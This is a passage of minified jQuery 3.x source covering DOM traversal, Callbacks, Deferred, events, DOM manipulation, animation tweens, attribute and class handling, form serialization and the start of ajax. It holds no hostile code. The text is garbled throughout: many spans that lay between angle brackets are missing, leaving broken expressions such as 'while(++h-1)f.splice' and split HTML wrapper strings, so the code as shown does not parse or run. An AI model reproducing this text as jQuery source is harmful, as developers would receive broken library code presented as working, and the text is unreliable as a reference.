this.pushStack(f.length>1?r.uniqueSort(f):f)},index:function(a){return a?"string"==typeof a?i.call(r(a),this[0]):i.call(this,a.jquery?a[0]:a):this[0]&&this[0].parentNode?this.first().prevAll().length:-1},add:function(a,b){return this.pushStack(r.uniqueSort(r.merge(this.get(),r(a,b))))},addBack:function(a){return this.add(null==a?this.prevObject:this.prevObject.filter(a))}});function J(a,b){while((a=a[b])&&1!==a.nodeType);return a}r.each({parent:function(a){var b=a.parentNode;return b&&11!==b.nodeType?b:null},parents:function(a){return y(a,"parentNode")},parentsUntil:function(a,b,c){return y(a,"parentNode",c)},next:function(a){return J(a,"nextSibling")},prev:function(a){return J(a,"previousSibling")},nextAll:function(a){return y(a,"nextSibling")},prevAll:function(a){return y(a,"previousSibling")},nextUntil:function(a,b,c){return y(a,"nextSibling",c)},prevUntil:function(a,b,c){return y(a,"previousSibling",c)},siblings:function(a){return z((a.parentNode||{}).firstChild,a)},children:function(a){return z(a.firstChild)},contents:function(a){return a.contentDocument||r.merge([],a.childNodes)}},function(a,b){r.fn[a]=function(c,d){var e=r.map(this,b,c);return"Until"!==a.slice(-5)&&(d=c),d&&"string"==typeof d&&(e=r.filter(d,e)),this.length>1&&(I[a]||r.uniqueSort(e),H.test(a)&&e.reverse()),this.pushStack(e)}});var K=/\S+/g;function L(a){var b={};return r.each(a.match(K)||[],function(a,c){b[c]=!0}),b}r.Callbacks=function(a){a="string"==typeof a?L(a):r.extend({},a);var b,c,d,e,f=[],g=[],h=-1,i=function(){for(e=a.once,d=b=!0;g.length;h=-1){c=g.shift();while(++h-1)f.splice(c,1),c<=h&&h--}),this},has:function(a){return a?r.inArray(a,f)>-1:f.length>0},empty:function(){return f&&(f=[]),this},disable:function(){return e=g=[],f=c="",this},disabled:function(){return!f},lock:function(){return e=g=[],c||b||(f=c=""),this},locked:function(){return!!e},fireWith:function(a,c){return e||(c=c||[],c=[a,c.slice?c.slice():c],g.push(c),b||i()),this},fire:function(){return j.fireWith(this,arguments),this},fired:function(){return!!d}};return j};function M(a){return a}function N(a){throw a}function O(a,b,c){var d;try{a&&r.isFunction(d=a.promise)?d.call(a).done(b).fail(c):a&&r.isFunction(d=a.then)?d.call(a,b,c):b.call(void 0,a)}catch(a){c.call(void 0,a)}}r.extend({Deferred:function(b){var c=[["notify","progress",r.Callbacks("memory"),r.Callbacks("memory"),2],["resolve","done",r.Callbacks("once memory"),r.Callbacks("once memory"),0,"resolved"],["reject","fail",r.Callbacks("once memory"),r.Callbacks("once memory"),1,"rejected"]],d="pending",e={state:function(){return d},always:function(){return f.done(arguments).fail(arguments),this},"catch":function(a){return e.then(null,a)},pipe:function(){var a=arguments;return r.Deferred(function(b){r.each(c,function(c,d){var e=r.isFunction(a[d[4]])&&a[d[4]];f[d[1]](function(){var a=e&&e.apply(this,arguments);a&&r.isFunction(a.promise)?a.promise().progress(b.notify).done(b.resolve).fail(b.reject):b[d[0]+"With"](this,e?[a]:arguments)})}),a=null}).promise()},then:function(b,d,e){var f=0;function g(b,c,d,e){return function(){var h=this,i=arguments,j=function(){var a,j;if(!(b=f&&(d!==N&&(h=void 0,i=[a]),c.rejectWith(h,i))}};b?k():(r.Deferred.getStackHook&&(k.stackTrace=r.Deferred.getStackHook()),a.setTimeout(k))}}return r.Deferred(function(a){c[0][3].add(g(0,a,r.isFunction(e)?e:M,a.notifyWith)),c[1][3].add(g(0,a,r.isFunction(b)?b:M)),c[2][3].add(g(0,a,r.isFunction(d)?d:N))}).promise()},promise:function(a){return null!=a?r.extend(a,e):e}},f={};return r.each(c,function(a,b){var g=b[2],h=b[5];e[b[1]]=g.add,h&&g.add(function(){d=h},c[3-a][2].disable,c[0][2].lock),g.add(b[3].fire),f[b[0]]=function(){return f[b[0]+"With"](this===f?void 0:this,arguments),this},f[b[0]+"With"]=g.fireWith}),e.promise(f),b&&b.call(f,f),f},when:function(a){var b=arguments.length,c=b,d=Array(c),e=f.call(arguments),g=r.Deferred(),h=function(a){return function(c){d[a]=this,e[a]=arguments.length>1?f.call(arguments):c,--b||g.resolveWith(d,e)}};if(b<=1&&(O(a,g.done(h(c)).resolve,g.reject),"pending"===g.state()||r.isFunction(e[c]&&e[c].then)))return g.then();while(c--)O(e[c],h(c),g.reject);return g.promise()}});var P=/^(Eval|Internal|Range|Reference|Syntax|Type|URI)Error$/;r.Deferred.exceptionHook=function(b,c){a.console&&a.console.warn&&b&&P.test(b.name)&&a.console.warn("jQuery.Deferred exception: "+b.message,b.stack,c)},r.readyException=function(b){a.setTimeout(function(){throw b})};var Q=r.Deferred();r.fn.ready=function(a){return Q.then(a)["catch"](function(a){r.readyException(a)}),this},r.extend({isReady:!1,readyWait:1,holdReady:function(a){a?r.readyWait++:r.ready(!0)},ready:function(a){(a===!0?--r.readyWait:r.isReady)||(r.isReady=!0,a!==!0&&--r.readyWait>0||Q.resolveWith(d,[r]))}}),r.ready.then=Q.then;function R(){d.removeEventListener("DOMContentLoaded",R),a.removeEventListener("load",R),r.ready()}"complete"===d.readyState||"loading"!==d.readyState&&!d.documentElement.doScroll?a.setTimeout(r.ready):(d.addEventListener("DOMContentLoaded",R),a.addEventListener("load",R));var S=function(a,b,c,d,e,f,g){var h=0,i=a.length,j=null==c;if("object"===r.type(c)){e=!0;for(h in c)S(a,b,h,c[h],!0,f,g)}else if(void 0!==d&&(e=!0, + r.isFunction(d)||(g=!0),j&&(g?(b.call(a,d),b=null):(j=b,b=function(a,b,c){return j.call(r(a),c)})),b))for(;h1,null,!0)},removeData:function(a){return this.each(function(){W.remove(this,a)})}}),r.extend({queue:function(a,b,c){var d;if(a)return b=(b||"fx")+"queue",d=V.get(a,b),c&&(!d||r.isArray(c)?d=V.access(a,b,r.makeArray(c)):d.push(c)),d||[]},dequeue:function(a,b){b=b||"fx";var c=r.queue(a,b),d=c.length,e=c.shift(),f=r._queueHooks(a,b),g=function(){r.dequeue(a,b)};"inprogress"===e&&(e=c.shift(),d--),e&&("fx"===b&&c.unshift("inprogress"),delete f.stop,e.call(a,g,f)),!d&&f&&f.empty.fire()},_queueHooks:function(a,b){var c=b+"queueHooks";return V.get(a,c)||V.access(a,c,{empty:r.Callbacks("once memory").add(function(){V.remove(a,[b+"queue",c])})})}}),r.fn.extend({queue:function(a,b){var c=2;return"string"!=typeof a&&(b=a,a="fx",c--),arguments.length\x20\t\r\n\f]+)/i,ja=/^$|\/(?:java|ecma)script/i,ka={option:[1,""],thead:[1,"","
"],col:[2,"","
"],tr:[2,"","
"],td:[3,"","
"],_default:[0,"",""]};ka.optgroup=ka.option,ka.tbody=ka.tfoot=ka.colgroup=ka.caption=ka.thead,ka.th=ka.td;function la(a,b){var c="undefined"!=typeof a.getElementsByTagName?a.getElementsByTagName(b||"*"):"undefined"!=typeof a.querySelectorAll?a.querySelectorAll(b||"*"):[];return void 0===b||b&&r.nodeName(a,b)?r.merge([a],c):c}function ma(a,b){for(var c=0,d=a.length;c-1)e&&e.push(f);else if(j=r.contains(f.ownerDocument,f),g=la(l.appendChild(f),"script"),j&&ma(g),c){k=0;while(f=g[k++])ja.test(f.type||"")&&c.push(f)}return l}!function(){var a=d.createDocumentFragment(),b=a.appendChild(d.createElement("div")),c=d.createElement("input");c.setAttribute("type","radio"),c.setAttribute("checked","checked"),c.setAttribute("name","t"),b.appendChild(c),o.checkClone=b.cloneNode(!0).cloneNode(!0).lastChild.checked,b.innerHTML="",o.noCloneChecked=!!b.cloneNode(!0).lastChild.defaultValue}();var pa=d.documentElement,qa=/^key/,ra=/^(?:mouse|pointer|contextmenu|drag|drop)|click/,sa=/^([^.]*)(?:\.(.+)|)/;function ta(){return!0}function ua(){return!1}function va(){try{return d.activeElement}catch(a){}}function wa(a,b,c,d,e,f){var g,h;if("object"==typeof b){"string"!=typeof c&&(d=d||c,c=void 0);for(h in b)wa(a,h,c,d,b[h],f);return a}if(null==d&&null==e?(e=c,d=c=void 0):null==e&&("string"==typeof c?(e=d,d=void 0):(e=d,d=c,c=void 0)),e===!1)e=ua;else if(!e)return a;return 1===f&&(g=e,e=function(a){return r().off(a),g.apply(this,arguments)},e.guid=g.guid||(g.guid=r.guid++)),a.each(function(){r.event.add(this,b,e,d,c)})}r.event={global:{},add:function(a,b,c,d,e){var f,g,h,i,j,k,l,m,n,o,p,q=V.get(a);if(q){c.handler&&(f=c,c=f.handler,e=f.selector),e&&r.find.matchesSelector(pa,e),c.guid||(c.guid=r.guid++),(i=q.events)||(i=q.events={}),(g=q.handle)||(g=q.handle=function(b){return"undefined"!=typeof r&&r.event.triggered!==b.type?r.event.dispatch.apply(a,arguments):void 0}),b=(b||"").match(K)||[""],j=b.length;while(j--)h=sa.exec(b[j])||[],n=p=h[1],o=(h[2]||"").split(".").sort(),n&&(l=r.event.special[n]||{},n=(e?l.delegateType:l.bindType)||n,l=r.event.special[n]||{},k=r.extend({type:n,origType:p,data:d,handler:c,guid:c.guid,selector:e,needsContext:e&&r.expr.match.needsContext.test(e),namespace:o.join(".")},f),(m=i[n])||(m=i[n]=[],m.delegateCount=0,l.setup&&l.setup.call(a,d,o,g)!==!1||a.addEventListener&&a.addEventListener(n,g)),l.add&&(l.add.call(a,k),k.handler.guid||(k.handler.guid=c.guid)),e?m.splice(m.delegateCount++,0,k):m.push(k),r.event.global[n]=!0)}},remove:function(a,b,c,d,e){var f,g,h,i,j,k,l,m,n,o,p,q=V.hasData(a)&&V.get(a);if(q&&(i=q.events)){b=(b||"").match(K)||[""],j=b.length;while(j--)if(h=sa.exec(b[j])||[],n=p=h[1],o=(h[2]||"").split(".").sort(),n){l=r.event.special[n]||{},n=(d?l.delegateType:l.bindType)||n,m=i[n]||[],h=h[2]&&new RegExp("(^|\\.)"+o.join("\\.(?:.*\\.|)")+"(\\.|$)"),g=f=m.length;while(f--)k=m[f],!e&&p!==k.origType||c&&c.guid!==k.guid||h&&!h.test(k.namespace)||d&&d!==k.selector&&("**"!==d||!k.selector)||(m.splice(f,1),k.selector&&m.delegateCount--,l.remove&&l.remove.call(a,k));g&&!m.length&&(l.teardown&&l.teardown.call(a,o,q.handle)!==!1||r.removeEvent(a,n,q.handle),delete i[n])}else for(n in i)r.event.remove(a,n+b[j],c,d,!0);r.isEmptyObject(i)&&V.remove(a,"handle events")}},dispatch:function(a){var b=r.event.fix(a),c,d,e,f,g,h,i=new Array(arguments.length),j=(V.get(this,"events")||{})[b.type]||[],k=r.event.special[b.type]||{};for(i[0]=b,c=1;c-1:r.find(e,this,null,[i]).length),d[e]&&d.push(f);d.length&&g.push({elem:i,handlers:d})}return h\x20\t\r\n\f]*)[^>]*)\/>/gi,ya=/\s*$/g;function Ca(a,b){return r.nodeName(a,"table")&&r.nodeName(11!==b.nodeType?b:b.firstChild,"tr")?a.getElementsByTagName("tbody")[0]||a:a}function Da(a){return a.type=(null!==a.getAttribute("type"))+"/"+a.type,a}function Ea(a){var b=Aa.exec(a.type);return b?a.type=b[1]:a.removeAttribute("type"),a}function Fa(a,b){var c,d,e,f,g,h,i,j;if(1===b.nodeType){if(V.hasData(a)&&(f=V.access(a),g=V.set(b,f),j=f.events)){delete g.handle,g.events={};for(e in j)for(c=0,d=j[e].length;c1&&"string"==typeof q&&!o.checkClone&&za.test(q))return a.each(function(e){var f=a.eq(e);s&&(b[0]=q.call(this,e,f.html())),Ha(f,b,c,d)});if(m&&(e=oa(b,a[0].ownerDocument,!1,a,d),f=e.firstChild,1===e.childNodes.length&&(e=f),f||d)){for(h=r.map(la(e,"script"),Da),i=h.length;l")},clone:function(a,b,c){var d,e,f,g,h=a.cloneNode(!0),i=r.contains(a.ownerDocument,a);if(!(o.noCloneChecked||1!==a.nodeType&&11!==a.nodeType||r.isXMLDoc(a)))for(g=la(h),f=la(a),d=0,e=f.length;d0&&ma(g,!i&&la(a,"script")),h},cleanData:function(a){for(var b,c,d,e=r.event.special,f=0;void 0!==(c=a[f]);f++)if(T(c)){if(b=c[V.expando]){if(b.events)for(d in b.events)e[d]?r.event.remove(c,d):r.removeEvent(c,d,b.handle);c[V.expando]=void 0}c[W.expando]&&(c[W.expando]=void 0)}}}),r.fn.extend({detach:function(a){return Ia(this,a,!0)},remove:function(a){return Ia(this,a)},text:function(a){return S(this,function(a){return void 0===a?r.text(this):this.empty().each(function(){1!==this.nodeType&&11!==this.nodeType&&9!==this.nodeType||(this.textContent=a)})},null,a,arguments.length)},append:function(){return Ha(this,arguments,function(a){if(1===this.nodeType||11===this.nodeType||9===this.nodeType){var b=Ca(this,a);b.appendChild(a)}})},prepend:function(){return Ha(this,arguments,function(a){if(1===this.nodeType||11===this.nodeType||9===this.nodeType){var b=Ca(this,a);b.insertBefore(a,b.firstChild)}})},before:function(){return Ha(this,arguments,function(a){this.parentNode&&this.parentNode.insertBefore(a,this)})},after:function(){return Ha(this,arguments,function(a){this.parentNode&&this.parentNode.insertBefore(a,this.nextSibling)})},empty:function(){for(var a,b=0;null!=(a=this[b]);b++)1===a.nodeType&&(r.cleanData(la(a,!1)),a.textContent="");return this},clone:function(a,b){return a=null!=a&&a,b=null==b?a:b,this.map(function(){return r.clone(this,a,b)})},html:function(a){return S(this,function(a){var b=this[0]||{},c=0,d=this.length;if(void 0===a&&1===b.nodeType)return b.innerHTML;if("string"==typeof a&&!ya.test(a)&&!ka[(ia.exec(a)||["",""])[1].toLowerCase()]){a=r.htmlPrefilter(a);try{for(;c1)}});function Xa(a,b,c,d,e){return new Xa.prototype.init(a,b,c,d,e)}r.Tween=Xa,Xa.prototype={constructor:Xa,init:function(a,b,c,d,e,f){this.elem=a,this.prop=c,this.easing=e||r.easing._default,this.options=b,this.start=this.now=this.cur(),this.end=d,this.unit=f||(r.cssNumber[c]?"":"px")},cur:function(){var a=Xa.propHooks[this.prop];return a&&a.get?a.get(this):Xa.propHooks._default.get(this)},run:function(a){var b,c=Xa.propHooks[this.prop];return this.options.duration?this.pos=b=r.easing[this.easing](a,this.options.duration*a,0,1,this.options.duration):this.pos=b=a,this.now=(this.end-this.start)*b+this.start,this.options.step&&this.options.step.call(this.elem,this.now,this),c&&c.set?c.set(this):Xa.propHooks._default.set(this),this}},Xa.prototype.init.prototype=Xa.prototype,Xa.propHooks={_default:{get:function(a){var b;return 1!==a.elem.nodeType||null!=a.elem[a.prop]&&null==a.elem.style[a.prop]?a.elem[a.prop]:(b=r.css(a.elem,a.prop,""),b&&"auto"!==b?b:0)},set:function(a){r.fx.step[a.prop]?r.fx.step[a.prop](a):1!==a.elem.nodeType||null==a.elem.style[r.cssProps[a.prop]]&&!r.cssHooks[a.prop]?a.elem[a.prop]=a.now:r.style(a.elem,a.prop,a.now+a.unit)}}},Xa.propHooks.scrollTop=Xa.propHooks.scrollLeft={set:function(a){a.elem.nodeType&&a.elem.parentNode&&(a.elem[a.prop]=a.now)}},r.easing={linear:function(a){return a},swing:function(a){return.5-Math.cos(a*Math.PI)/2},_default:"swing"},r.fx=Xa.prototype.init,r.fx.step={};var Ya,Za,$a=/^(?:toggle|show|hide)$/,_a=/queueHooks$/;function ab(){Za&&(a.requestAnimationFrame(ab),r.fx.tick())}function bb(){return a.setTimeout(function(){Ya=void 0}),Ya=r.now()}function cb(a,b){var c,d=0,e={height:a};for(b=b?1:0;d<4;d+=2-b)c=aa[d],e["margin"+c]=e["padding"+c]=a;return b&&(e.opacity=e.width=a),e}function db(a,b,c){for(var d,e=(gb.tweeners[b]||[]).concat(gb.tweeners["*"]),f=0,g=e.length;f1)},removeAttr:function(a){return this.each(function(){r.removeAttr(this,a)})}}),r.extend({attr:function(a,b,c){var d,e,f=a.nodeType;if(3!==f&&8!==f&&2!==f)return"undefined"==typeof a.getAttribute?r.prop(a,b,c):(1===f&&r.isXMLDoc(a)||(e=r.attrHooks[b.toLowerCase()]||(r.expr.match.bool.test(b)?hb:void 0)),void 0!==c?null===c?void r.removeAttr(a,b):e&&"set"in e&&void 0!==(d=e.set(a,c,b))?d:(a.setAttribute(b,c+""),c):e&&"get"in e&&null!==(d=e.get(a,b))?d:(d=r.find.attr(a,b),null==d?void 0:d))},attrHooks:{type:{set:function(a,b){if(!o.radioValue&&"radio"===b&&r.nodeName(a,"input")){var c=a.value;return a.setAttribute("type",b),c&&(a.value=c),b}}}},removeAttr:function(a,b){var c,d=0,e=b&&b.match(K); + if(e&&1===a.nodeType)while(c=e[d++])a.removeAttribute(c)}}),hb={set:function(a,b,c){return b===!1?r.removeAttr(a,c):a.setAttribute(c,c),c}},r.each(r.expr.match.bool.source.match(/\w+/g),function(a,b){var c=ib[b]||r.find.attr;ib[b]=function(a,b,d){var e,f,g=b.toLowerCase();return d||(f=ib[g],ib[g]=e,e=null!=c(a,b,d)?g:null,ib[g]=f),e}});var jb=/^(?:input|select|textarea|button)$/i,kb=/^(?:a|area)$/i;r.fn.extend({prop:function(a,b){return S(this,r.prop,a,b,arguments.length>1)},removeProp:function(a){return this.each(function(){delete this[r.propFix[a]||a]})}}),r.extend({prop:function(a,b,c){var d,e,f=a.nodeType;if(3!==f&&8!==f&&2!==f)return 1===f&&r.isXMLDoc(a)||(b=r.propFix[b]||b,e=r.propHooks[b]),void 0!==c?e&&"set"in e&&void 0!==(d=e.set(a,c,b))?d:a[b]=c:e&&"get"in e&&null!==(d=e.get(a,b))?d:a[b]},propHooks:{tabIndex:{get:function(a){var b=r.find.attr(a,"tabindex");return b?parseInt(b,10):jb.test(a.nodeName)||kb.test(a.nodeName)&&a.href?0:-1}}},propFix:{"for":"htmlFor","class":"className"}}),o.optSelected||(r.propHooks.selected={get:function(a){var b=a.parentNode;return b&&b.parentNode&&b.parentNode.selectedIndex,null},set:function(a){var b=a.parentNode;b&&(b.selectedIndex,b.parentNode&&b.parentNode.selectedIndex)}}),r.each(["tabIndex","readOnly","maxLength","cellSpacing","cellPadding","rowSpan","colSpan","useMap","frameBorder","contentEditable"],function(){r.propFix[this.toLowerCase()]=this});var lb=/[\t\r\n\f]/g;function mb(a){return a.getAttribute&&a.getAttribute("class")||""}r.fn.extend({addClass:function(a){var b,c,d,e,f,g,h,i=0;if(r.isFunction(a))return this.each(function(b){r(this).addClass(a.call(this,b,mb(this)))});if("string"==typeof a&&a){b=a.match(K)||[];while(c=this[i++])if(e=mb(c),d=1===c.nodeType&&(" "+e+" ").replace(lb," ")){g=0;while(f=b[g++])d.indexOf(" "+f+" ")<0&&(d+=f+" ");h=r.trim(d),e!==h&&c.setAttribute("class",h)}}return this},removeClass:function(a){var b,c,d,e,f,g,h,i=0;if(r.isFunction(a))return this.each(function(b){r(this).removeClass(a.call(this,b,mb(this)))});if(!arguments.length)return this.attr("class","");if("string"==typeof a&&a){b=a.match(K)||[];while(c=this[i++])if(e=mb(c),d=1===c.nodeType&&(" "+e+" ").replace(lb," ")){g=0;while(f=b[g++])while(d.indexOf(" "+f+" ")>-1)d=d.replace(" "+f+" "," ");h=r.trim(d),e!==h&&c.setAttribute("class",h)}}return this},toggleClass:function(a,b){var c=typeof a;return"boolean"==typeof b&&"string"===c?b?this.addClass(a):this.removeClass(a):r.isFunction(a)?this.each(function(c){r(this).toggleClass(a.call(this,c,mb(this),b),b)}):this.each(function(){var b,d,e,f;if("string"===c){d=0,e=r(this),f=a.match(K)||[];while(b=f[d++])e.hasClass(b)?e.removeClass(b):e.addClass(b)}else void 0!==a&&"boolean"!==c||(b=mb(this),b&&V.set(this,"__className__",b),this.setAttribute&&this.setAttribute("class",b||a===!1?"":V.get(this,"__className__")||""))})},hasClass:function(a){var b,c,d=0;b=" "+a+" ";while(c=this[d++])if(1===c.nodeType&&(" "+mb(c)+" ").replace(lb," ").indexOf(b)>-1)return!0;return!1}});var nb=/\r/g,ob=/[\x20\t\r\n\f]+/g;r.fn.extend({val:function(a){var b,c,d,e=this[0];{if(arguments.length)return d=r.isFunction(a),this.each(function(c){var e;1===this.nodeType&&(e=d?a.call(this,c,r(this).val()):a,null==e?e="":"number"==typeof e?e+="":r.isArray(e)&&(e=r.map(e,function(a){return null==a?"":a+""})),b=r.valHooks[this.type]||r.valHooks[this.nodeName.toLowerCase()],b&&"set"in b&&void 0!==b.set(this,e,"value")||(this.value=e))});if(e)return b=r.valHooks[e.type]||r.valHooks[e.nodeName.toLowerCase()],b&&"get"in b&&void 0!==(c=b.get(e,"value"))?c:(c=e.value,"string"==typeof c?c.replace(nb,""):null==c?"":c)}}}),r.extend({valHooks:{option:{get:function(a){var b=r.find.attr(a,"value");return null!=b?b:r.trim(r.text(a)).replace(ob," ")}},select:{get:function(a){for(var b,c,d=a.options,e=a.selectedIndex,f="select-one"===a.type,g=f?null:[],h=f?e+1:d.length,i=e<0?h:f?e:0;i-1)&&(c=!0);return c||(a.selectedIndex=-1),f}}}}),r.each(["radio","checkbox"],function(){r.valHooks[this]={set:function(a,b){if(r.isArray(b))return a.checked=r.inArray(r(a).val(),b)>-1}},o.checkOn||(r.valHooks[this].get=function(a){return null===a.getAttribute("value")?"on":a.value})});var pb=/^(?:focusinfocus|focusoutblur)$/;r.extend(r.event,{trigger:function(b,c,e,f){var g,h,i,j,k,m,n,o=[e||d],p=l.call(b,"type")?b.type:b,q=l.call(b,"namespace")?b.namespace.split("."):[];if(h=i=e=e||d,3!==e.nodeType&&8!==e.nodeType&&!pb.test(p+r.event.triggered)&&(p.indexOf(".")>-1&&(q=p.split("."),p=q.shift(),q.sort()),k=p.indexOf(":")<0&&"on"+p,b=b[r.expando]?b:new r.Event(p,"object"==typeof b&&b),b.isTrigger=f?2:3,b.namespace=q.join("."),b.rnamespace=b.namespace?new RegExp("(^|\\.)"+q.join("\\.(?:.*\\.|)")+"(\\.|$)"):null,b.result=void 0,b.target||(b.target=e),c=null==c?[b]:r.makeArray(c,[b]),n=r.event.special[p]||{},f||!n.trigger||n.trigger.apply(e,c)!==!1)){if(!f&&!n.noBubble&&!r.isWindow(e)){for(j=n.delegateType||p,pb.test(j+p)||(h=h.parentNode);h;h=h.parentNode)o.push(h),i=h;i===(e.ownerDocument||d)&&o.push(i.defaultView||i.parentWindow||a)}g=0;while((h=o[g++])&&!b.isPropagationStopped())b.type=g>1?j:n.bindType||p,m=(V.get(h,"events")||{})[b.type]&&V.get(h,"handle"),m&&m.apply(h,c),m=k&&h[k],m&&m.apply&&T(h)&&(b.result=m.apply(h,c),b.result===!1&&b.preventDefault());return b.type=p,f||b.isDefaultPrevented()||n._default&&n._default.apply(o.pop(),c)!==!1||!T(e)||k&&r.isFunction(e[p])&&!r.isWindow(e)&&(i=e[k],i&&(e[k]=null),r.event.triggered=p,e[p](),r.event.triggered=void 0,i&&(e[k]=i)),b.result}},simulate:function(a,b,c){var d=r.extend(new r.Event,c,{type:a,isSimulated:!0});r.event.trigger(d,null,b)}}),r.fn.extend({trigger:function(a,b){return this.each(function(){r.event.trigger(a,b,this)})},triggerHandler:function(a,b){var c=this[0];if(c)return r.event.trigger(a,b,c,!0)}}),r.each("blur focus focusin focusout resize scroll click dblclick mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave change select submit keydown keypress keyup contextmenu".split(" "),function(a,b){r.fn[b]=function(a,c){return arguments.length>0?this.on(b,null,a,c):this.trigger(b)}}),r.fn.extend({hover:function(a,b){return this.mouseenter(a).mouseleave(b||a)}}),o.focusin="onfocusin"in a,o.focusin||r.each({focus:"focusin",blur:"focusout"},function(a,b){var c=function(a){r.event.simulate(b,a.target,r.event.fix(a))};r.event.special[b]={setup:function(){var d=this.ownerDocument||this,e=V.access(d,b);e||d.addEventListener(a,c,!0),V.access(d,b,(e||0)+1)},teardown:function(){var d=this.ownerDocument||this,e=V.access(d,b)-1;e?V.access(d,b,e):(d.removeEventListener(a,c,!0),V.remove(d,b))}}});var qb=a.location,rb=r.now(),sb=/\?/;r.parseXML=function(b){var c;if(!b||"string"!=typeof b)return null;try{c=(new a.DOMParser).parseFromString(b,"text/xml")}catch(d){c=void 0}return c&&!c.getElementsByTagName("parsererror").length||r.error("Invalid XML: "+b),c};var tb=/\[\]$/,ub=/\r?\n/g,vb=/^(?:submit|button|image|reset|file)$/i,wb=/^(?:input|select|textarea|keygen)/i;function xb(a,b,c,d){var e;if(r.isArray(b))r.each(b,function(b,e){c||tb.test(a)?d(a,e):xb(a+"["+("object"==typeof e&&null!=e?b:"")+"]",e,c,d)});else if(c||"object"!==r.type(b))d(a,b);else for(e in b)xb(a+"["+e+"]",b[e],c,d)}r.param=function(a,b){var c,d=[],e=function(a,b){var c=r.isFunction(b)?b():b;d[d.length]=encodeURIComponent(a)+"="+encodeURIComponent(null==c?"":c)};if(r.isArray(a)||a.jquery&&!r.isPlainObject(a))r.each(a,function(){e(this.name,this.value)});else for(c in a)xb(c,a[c],b,e);return d.join("&")},r.fn.extend({serialize:function(){return r.param(this.serializeArray())},serializeArray:function(){return this.map(function(){var a=r.prop(this,"elements");return a?r.makeArray(a):this}).filter(function(){var a=this.type;return this.name&&!r(this).is(":disabled")&&wb.test(this.nodeName)&&!vb.test(a)&&(this.checked||!ha.test(a))}).map(function(a,b){var c=r(this).val();return null==c?null:r.isArray(c)?r.map(c,function(a){return{name:b.name,value:a.replace(ub,"\r\n")}}):{name:b.name,value:c.replace(ub,"\r\n")}}).get()}});var yb=/%20/g,zb=/#.*$/,Ab=/([?&])_=[^&]*/,Bb=/^(.*?):[ \t]*([^\r\n]*)$/gm,Cb=/^(?:about|app|app-storage|.+-extension|file|res|widget):$/,Db=/^(?:GET|HEAD)$/,Eb=/^\/\//,Fb={},Gb={},Hb="*/".concat("*"),Ib=d.createElement("a");Ib.href=qb.href;function Jb(a){return function(b,c){"string"!=typeof b&&(c=b,b="*");var d,e=0,f=b.toLowerCase().match(K)||[];if(r.isFunction(c))while(d=f[e++])"+"===d[0]?(d=d.slice(1)||"*",(a[d]=a[d]||[]).unshift(c)):(a[d]=a[d]||[]).push(c)}}function Kb(a,b,c,d){var e={},f=a===Gb;function g(h){var i;return e[h]=!0,r.each(a[h]||[],function(a,h){var j=h(b,c,d);return"string"!=typeof j||f||e[j]?f?!(i=j):void 0:(b.dataTypes.unshift(j),g(j),!1)}),i}return g(b.dataTypes[0])||!e["*"]&&g("*")}function Lb(a,b){var c,d,e=r.ajaxSettings.flatOptions||{};for(c in b)void 0!==b[c]&&((e[c]?a:d||(d={}))[c]=b[c]);return d&&r.extend(!0,a,d),a}function Mb(a,b,c){var d,e,f,g,h=a.contents,i=a.dataTypes;while("*"===i[0])i.shift(),void 0===d&&(d=a.mimeType||b.getResponseHeader("Content-Type"));if(d)for(e in h)if(h[e]&&h[e].test(d)){i.unshift(e);break}if(i[0]in c)f=i[0];else{for(e in c){if(!i[0]||a.converters[e+" "+i[0]]){f=e;break}g||(g=e)}f=f||g}if(f)return f!==i[0]&&i.unshift(f),c[f]}function Nb(a,b,c,d){var e,f,g,h,i,j={},k=a.dataTypes.slice();if(k[1])for(g in a.converters)j[g.toLowerCase()]=a.converters[g];f=k.shift();while(f)if(a.responseFields[f]&&(c[a.responseFields[f]]=b),!i&&d&&a.dataFilter&&(b=a.dataFilter(b,a.dataType)),i=f,f=k.shift())if("*"===f)f=i;else if("*"!==i&&i!==f){if(g=j[i+" "+f]||j["* "+f],!g)for(e in j)if(h=e.split(" "),h[1]===f&&(g=j[i+" "+h[0]]||j["* "+h[0]])){g===!0?g=j[e]:j[e]!==!0&&(f=h[0],k.unshift(h[1]));break}if(g!==!0)if(g&&a["throws"])b=g(b);else try{b=g(b)}catch(l){return{state:"parsererror",error:g?l:"No conversion from "+i+" to "+f}}}return{state:"success",data:b}}r.extend({active:0,lastModified:{},etag:{},ajaxSettings:{url:qb.href,type:"GET",isLocal:Cb.test(qb.protocol),global:!0,processData:!0,async:!0,contentType:"application/x-www-form-urlencoded; charset=UTF-8",accepts:{"*":Hb,text:"text/plain",html:"text/html",xml:"application/xml, text/xml",json:"application/json, text/javascript"},contents:{xml:/\bxml\b/,html:/\bhtml/,json:/\bjson\b/},responseFields:{xml:"responseXML",text:"responseText",json:"responseJSON"},converters:{"* text":String,"text html":!0,"text json":JSON.parse,"text xml":r.parseXML},flatOptions:{url:!0,context:!0}},ajaxSetup:function(a,b){return b?Lb(Lb(a,r.ajaxSettings),b):Lb(r.ajaxSettings,a)},ajaxPrefilter:Jb(Fb),ajaxTransport:Jb(Gb),ajax:function(b,c){"object"==typeof b&&(c=b,b=void 0),c=c||{};var e,f,g,h,i,j,k,l,m,n,o=r.ajaxSetup({},c),p=o.context||o,q=o.context&&(p.nodeType||p.jquery)?r(p):r.event,s=r.Deferred(),t=r.Callbacks("once memory"),u=o.statusCode||{},v={},w={},x="canceled",y={readyState:0,getResponseHeader:function(a){var b;if(k){if(!h){h={};while(b=Bb.exec(g))h[b[1].toLowerCase()]=b[2]}b=h[a.toLowerCase()]}return null==b?null:b},getAllResponseHeaders:function(){return k?g:null},setRequestHeader:function(a,b){return null==k&&(a=w[a.toLowerCase()]=w[a.toLowerCase()]||a,v[a]=b),this},overrideMimeType:function(a){return null==k&&(o.mimeType=a),this},statusCode:function(a){var b;if(a)if(k)y.always(a[y.status]);else for(b in a)u[b]=[u[b],a[b]];return this},abort:function(a){var b=a||x;return e&&e.abort(b),A(0,b),this}};if(s.promise(y),o.url=((b||o.url||qb.href)+"").replace(Eb,qb.protocol+"//"),o.type=c.method||c.type||o.method||o.type,o.dataTypes=(o.dataType||"*").toLowerCase().match(K)||[""],null==o.crossDomain){j=d.createElement("a");try{j.href=o.url,j.href=j.href,o.crossDomain=Ib.protocol+"//"+Ib.host!=j.protocol+"//"+j.host}catch(z){o.crossDomain=!0}}if(o.data&&o.processData&&"string"!=typeof o.data&&(o.data=r.param(o.data,o.traditional)),Kb(Fb,o,c,y),k)return 